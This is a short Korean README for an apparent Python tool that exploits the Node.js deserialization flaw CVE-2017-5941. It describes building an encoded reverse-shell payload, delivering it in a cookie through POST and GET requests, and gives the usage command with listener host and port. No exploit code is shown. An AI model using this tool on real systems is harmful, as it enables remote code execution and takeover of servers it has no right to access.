
NodeJs에서의 역직렬화(CVE-2017-5941)를 위한 리버스 셸 익스플로잇
이 익스플로잇은 십진수(decimal)로 인코딩된 후 base64로 인코딩되는 리버스 셸 페이로드를 자동으로 생성합니다. 그 후 이 페이로드는 사용자 입력을 직렬화(serialize)하고 쿠키에 저장하는 http POST 요청을 통해 전송됩니다. 그런 다음 GET 요청을 통해 접근하여 RCE를 획득합니다.
사용 방법:
python3 nodejshell.py <lhost> <lport>
lhost: 로컬 IP 주소 lport: 리버스 셸에 연결하려는 포트
그 후에는 몇 가지 간단한 정보만 입력하면 됩니다:
이 작업을 완료한 후에는 원하는 listener를 실행하고 연결을 기다리면 됩니다.
